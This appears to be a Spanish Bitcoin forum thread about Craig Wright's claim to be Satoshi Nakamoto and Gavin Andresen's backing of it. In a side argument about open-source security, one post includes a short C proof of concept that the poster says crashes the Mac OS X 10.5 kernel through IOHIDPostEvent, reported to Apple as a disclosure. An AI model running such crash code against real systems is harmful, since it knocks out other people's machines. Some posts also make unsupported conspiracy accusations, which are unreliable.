*Tema mítico* : Hilo oficial del Bitcoin (IX) - Ahora con más burbujas ™

Estado
No está abierto para más respuestas.
Obviamente. El mismo barco donde está Satoshi. 😀
 
Nico dijo:
Si el camarada Gavin ha confirmado que Steven Wright es Nakamoto, no tengo más que decir. Plenamente confirmado.

Ahora, no queda otra que subir y subir y subir de precio.

A meses del halving y con Satoshi en persona al mando del barco. Qué más se puede pedir ? 😀
Hacer clic para expandir...

Ya te has cambiado de bando? Solo te daremos 10 ctms por la actividad mercenaria. Y te la daremos en FIAT. :XX: :XX:
 
Geldschrank dijo:
¿Y qué te hace pensar que Linux o BSD sean más seguros?
Hacer clic para expandir...

OS X tiene como open source el kernel (XNU), la distribución base BSD (librerías y programas de consola), el sistema de impresión, la mitad del Framework CoreFoundation y algunas cosas más. Pero todo lo demás es código cerrado. El sistema gráfico es cerrado, las aplicaciones son cerradas (bueno, el juego de ajedrez no), muchos de los servicios son cerrados. Es decir, hay por lo menos más de la mitad del código que es cerrado. Eso puede tener lo que sea, backdoors o fallos de todo tipo sin descubrir.

Si el código es abierto al menos sabes lo que estás metiendo y hay más probabilidad de que si hay fallos alguien se acabe dando cuenta y se arreglen rápido. También es más difícil colar backdoor porque hay mucha gente siempre escudriñando el código.

Un ejemplo:

En el 2008 descubrí un bug en el IOKit de Mac OS X 10.5 (Leopard).

Este es el exploit (resumido) que hice y mandé a Apple para notificarles el error y pedirles que lo corrigieran:

Código: 
// Compile using gcc -o bug bug.c -framework IOKit

#include <IOKit/hidsystem/IOHIDShared.h>
#include <IOKit/IOKitLib.h>


int main(int argc, char **argv)
	{
	io_service_t service, hidConnection;
	mach_port_t masterPort;
	NXEventData eventData;

	if (IOMasterPort(MACH_PORT_NULL, &masterPort) != KERN_SUCCESS)
		return -1;

	service = IOServiceGetMatchingService
		(kIOMasterPortDefault, IOServiceMatching(kIOHIDSystemClass));

	IOServiceOpen
		(service, mach_task_self(),
		kIOHIDParamConnectType, &hidConnection);

	IOObjectRelease(service);

	eventData.mouseMove.dx = 0;
	eventData.mouseMove.dy = 0;
	eventData.mouse.buttonNumber = 0;
	eventData.mouse.click = 0;

	// Kernel Panic
	(void)IOHIDPostEvent
		(hidConnection, NX_LMOUSEDOWN, (IOGPoint){0, 0}, &eventData,
		kNXEventDataVersion, 0, kIOHIDPostHIDManagerEvent);

	// Never executed?
	IOServiceClose(hidConnection);
	return 0;
	}

Tardaron UN AÑO en contestarme. Y cuando lo hicieron fue para decirme que habían sacado el Snow Leopard y que probase ahora a ver si el fallo seguía ocurriendo. Probé y de nuevo petaba.

¿Cómo shishi te puedes fiar de una empresa que no se toma en serio la seguridad?

Te puedo asegurar que mando un exploit así a la lista de correo del kernel de Linux y no pasan ni 24h antes de que saquen un parche arreglándolo.
 
Última edición:
BlueArrow dijo:
OS X tiene como open source el kernel (XNU), la distribución base BSD (librerías y programas de consola), el sistema de impresión, la mitad del Framework CoreFoundation y algunas cosas más. Pero todo lo demás es código cerrado. El sistema gráfico es cerrado, las aplicaciones son cerradas (bueno, el juego de ajedrez no), muchos de los servicios son cerrados. Es decir, hay por lo menos más de la mitad del código que es cerrado. Eso puede tener lo que sea, backdoors o fallos de todo tipo sin descubrir.
Hacer clic para expandir...

Tienes razón, pero sigue habiéndo agujeros muy rellenitos que están duranta años y no se parchean no por desidia sino por que nadie se da cuenta. Mira el Shellshock que estuvo "vigente" desde 1989 a 2014.

Soy también bastante paranoico, pero veo muy difícil que no te la claven de cualquier manera, es simplemente cuestión de tiempo.
 
Geldschrank dijo:
Tienes razón, pero sigue habiéndo agujeros muy rellenitos que están duranta años y no se parchean no por desidia sino por que nadie se da cuenta. Mira el Shellshock que estuvo "vigente" desde 1989 a 2014.

Soy también bastante paranoico, pero veo muy difícil que no te la claven de cualquier manera, es simplemente cuestión de tiempo.
Hacer clic para expandir...

Es una cuestión de probabilidades. Con código cerrado es más probable que con código abierto.
 
En ñulinux he visto pasar solo 4 horas desde que se hace público el fallo hasta que están listas las actualizaciones, si no lo experimento yo mismo no lo creo.
 
BlueArrow dijo:
Es una cuestión de probabilidades. Con código cerrado es más probable que con código abierto.
Hacer clic para expandir...

Supongo que sí, habría que ver en qué casos es mejor la seguridad por oscuridad al código abierto. Si todo el mundo tiene el agujero delante de las narices y nadie lo ve...

O peor, si sólo lo ven los malos...
 
Última edición:
Nico dijo:
Si el camarada Gavin ha confirmado que Steven Wright es Nakamoto, no tengo más que decir. Plenamente confirmado.

Ahora, no queda otra que subir y subir y subir de precio.

A meses del halving y con Satoshi en persona al mando del barco. Qué más se puede pedir ? 😀
Hacer clic para expandir...

Tienes que estar registrado para ver este contenido


To ask people in the space who have a fruta to stake that fruta and vouch for SN's identity raises many red flags in my mind.

I don't know if Craig Wright is SN. I don't care and I don't want to know.

As I have expressed many times in the past, I think the identity of Satoshi Nakamoto does not matter. More importantly I think it serves to distract from the fact that bitcoin is not controlled by anyone and is not a system of Appeal-to-Authority. Identifying the creator only serves to feed the appeal-to-authority crowd, as if SN is some kind of infallible prophet, or has any say over bitcoin's future.
Hacer clic para expandir...
 
Nuevo video sobre Craig Wright
Tienes que estar registrado para ver este contenido

:XX::XX::XX::XX::XX:
 
Por fin tendremos una opinión autorizada en el tema de la ampliación del tamaño de los bloques !!. Con el padre del Bitcoin ya reconocido, lo que resta es que de pleno apoyo al proyecto Classic de su amigo Gavin.

Y también podremos recuperar el estupendo proyecto de la "Bitcoin Fundation" con la presidencia del mismísimo Nakamoto en persona.

Es como un nuevo amanecer. Se siente la emoción en el aire. 😀
 
Nico dijo:
Por fin tendremos una opinión autorizada en el tema de la ampliación del tamaño de los bloques !!. Con el padre del Bitcoin ya reconocido, lo que resta es que de pleno apoyo al proyecto Classic de su amigo Gavin.

Y también podremos recuperar el estupendo proyecto de la "Bitcoin Fundation" con la presidencia del mismísimo Nakamoto en persona.

Es como un nuevo amanecer. Se siente la emoción en el aire. 😀
Hacer clic para expandir...

¡¡AJÁ!!

¿¿Osea que esa era la motivación de todo este esperpento???

¿¿Presentar un Nakamoto de postín para intentar encandilar a las masas y convencerlas de que acepten la guano del Bitcoin Classic?? (es decir, del CIA-Coin)

¿Esto que dices lo has copiado y pegado del argumentario que tus jefes te pasan todas las mañana por email para que lo vayas soltando en los foros y sitios que tienes asignados, no?

Se veía venir...


Sr.Elemento, aquí tienes la explicación, no era un "canary warrant", era algo mucho más bodoque, no sé cómo no hemos caído antes...
 
Última edición:
Nico dijo:
Por fin tendremos una opinión autorizada en el tema de la ampliación del tamaño de los bloques !!. Con el padre del Bitcoin ya reconocido, lo que resta es que de pleno apoyo al proyecto Classic de su amigo Gavin.

Y también podremos recuperar el estupendo proyecto de la "Bitcoin Fundation" con la presidencia del mismísimo Nakamoto en persona.

Es como un nuevo amanecer. Se siente la emoción en el aire. 😀
Hacer clic para expandir...

Ahora sí bitcoin va a tener valor. Con un "father figure" que inspire confianza y ... espera, he dicho confianza? :roto2:

BlueArrow dijo:
.. que acepten la guano del Bitcoin Classic?? (es decir, del CIA-Coin)
Hacer clic para expandir...

Un CIA-coin? Balla, no me lo hesperaba del in...(epíteto ad lib)...able "horo 2.0". Es como levantarse un dia y ver que pone "Milka" en el reverso de tus Philharmonikers 😀
 
Última edición:
AlfRom dijo:
Ahora sí bitcoin va a tener valor. Con un "father figure" que inspire confianza y ... espera, he dicho confianza? :roto2:



Un CIA-coin? Balla, no me lo hesperaba del in...(epíteto ad lib)...able "horo 2.0". Es como levantarse un dia y ver que pone "Milka" en el reverso de tus Philharmonikers 😀
Hacer clic para expandir...

Menudo ritmo lleva el troll este con 700 mensajes en menos de medio mes. Marca mundial debe ser. Lo dolido son los mas de 900 agredecimientos que lleva. Para que veais lo que valen.
 
tixel dijo:
Menudo ritmo lleva el troll este con 700 mensajes en menos de medio mes. Marca mundial debe ser. Lo dolido son los mas de 900 agredecimientos que lleva. Para que veais lo que valen.
Hacer clic para expandir...

Tiene todavía un ratio de 3 a 1, si llega a 5 a 1 sería preocupante. Sus colegas mamporreros le estarán ayudando, hay mucho troll suelto por ahí.
 
Gavin es historia.

Los desarrolladores de electrum, ante las afirmaciones de Gavin, han acudido a los logs y contradicen su versión. Nadie descargó el fichero con las firmas de electrum para comprobar la autenticidad del software el día que Gavin afirma haberlo hecho desde una IP de Londres.

Por lo tanto Gavin miente en que comprobó el software de electrum "recién instalado" en Londres.

Así que sólo quedan tres explicaciones. O miente para engañar a la comunidad Bitcoin para que acepte a Craig como Satoshi sin aportar pruebas, o se ha visto comprometido y participa en una historia más falsa que Judas y que tiene demasiados agujeros, o le han engañado como a un petulante cuyas "ansias de creer" le han nublado el juicio.

Sea cual sea, ya no va a recuperar la autoridad ni el prestigio si Craig no aporta pruebas categóricas en breve. Y bien merecido que se lo tiene
 
Última edición:
Se coje antes a un mentiroso que a un coji... y ...el tiempo pone a cada cual en su lugar.
 
Puede que sea pecado, pero estoy disfrutando bestialmente viendo como al final Gavin está siendo linchado por la opinión pública. Bien merecido se lo tiene ese saboteador quintacolumnista. :XX::XX::XX::XX::XX::XX:😀😀
 
Una charla muy cañera de Stefan Molineux sobre por qué Bitcoin es tan importante. Es incluso más cañera que las que suele hacer Antonopoulos. Está subtitulada en cristiano, así que no tenéis excusa para no verla.

[youtube]joITmEr4SjY[/youtube]

Excepto en la definición de dinero de Aristóteles, estoy de acuerdo en todo.
 
Última edición:
Bueno, bueno ... ¿ya fué, ya pasó, eso fue todo? ¿tan poco afectó la cotización? ...Nos quedamos con las ganas de comprar a buen precio ... ¿alcanzaron a comprar a buen precio?.. yo no...
 
bavech dijo:
Bueno, bueno ... ¿ya fué, ya pasó, eso fue todo? ¿tan poco afectó la cotización? ...Nos quedamos con las ganas de comprar a buen precio ... ¿alcanzaron a comprar a buen precio?.. yo no...
Hacer clic para expandir...
Ojo que un día de estos nos moverá unas monedas.
Tienes que estar registrado para ver este contenido


Si por casualidad este tío ha tenido algo que ver con la creación de Bitcoin, le va a costar 10 veces más demostrarlo después del teatro que se está marcando.
 
Estado
No está abierto para más respuestas.

Estadísticas del foro

Temas
2.049.605
Mensajes
58.152.861
Miembros
190.834
Último miembro
Xxtoxicxx

El blog de burbuja.info

Volver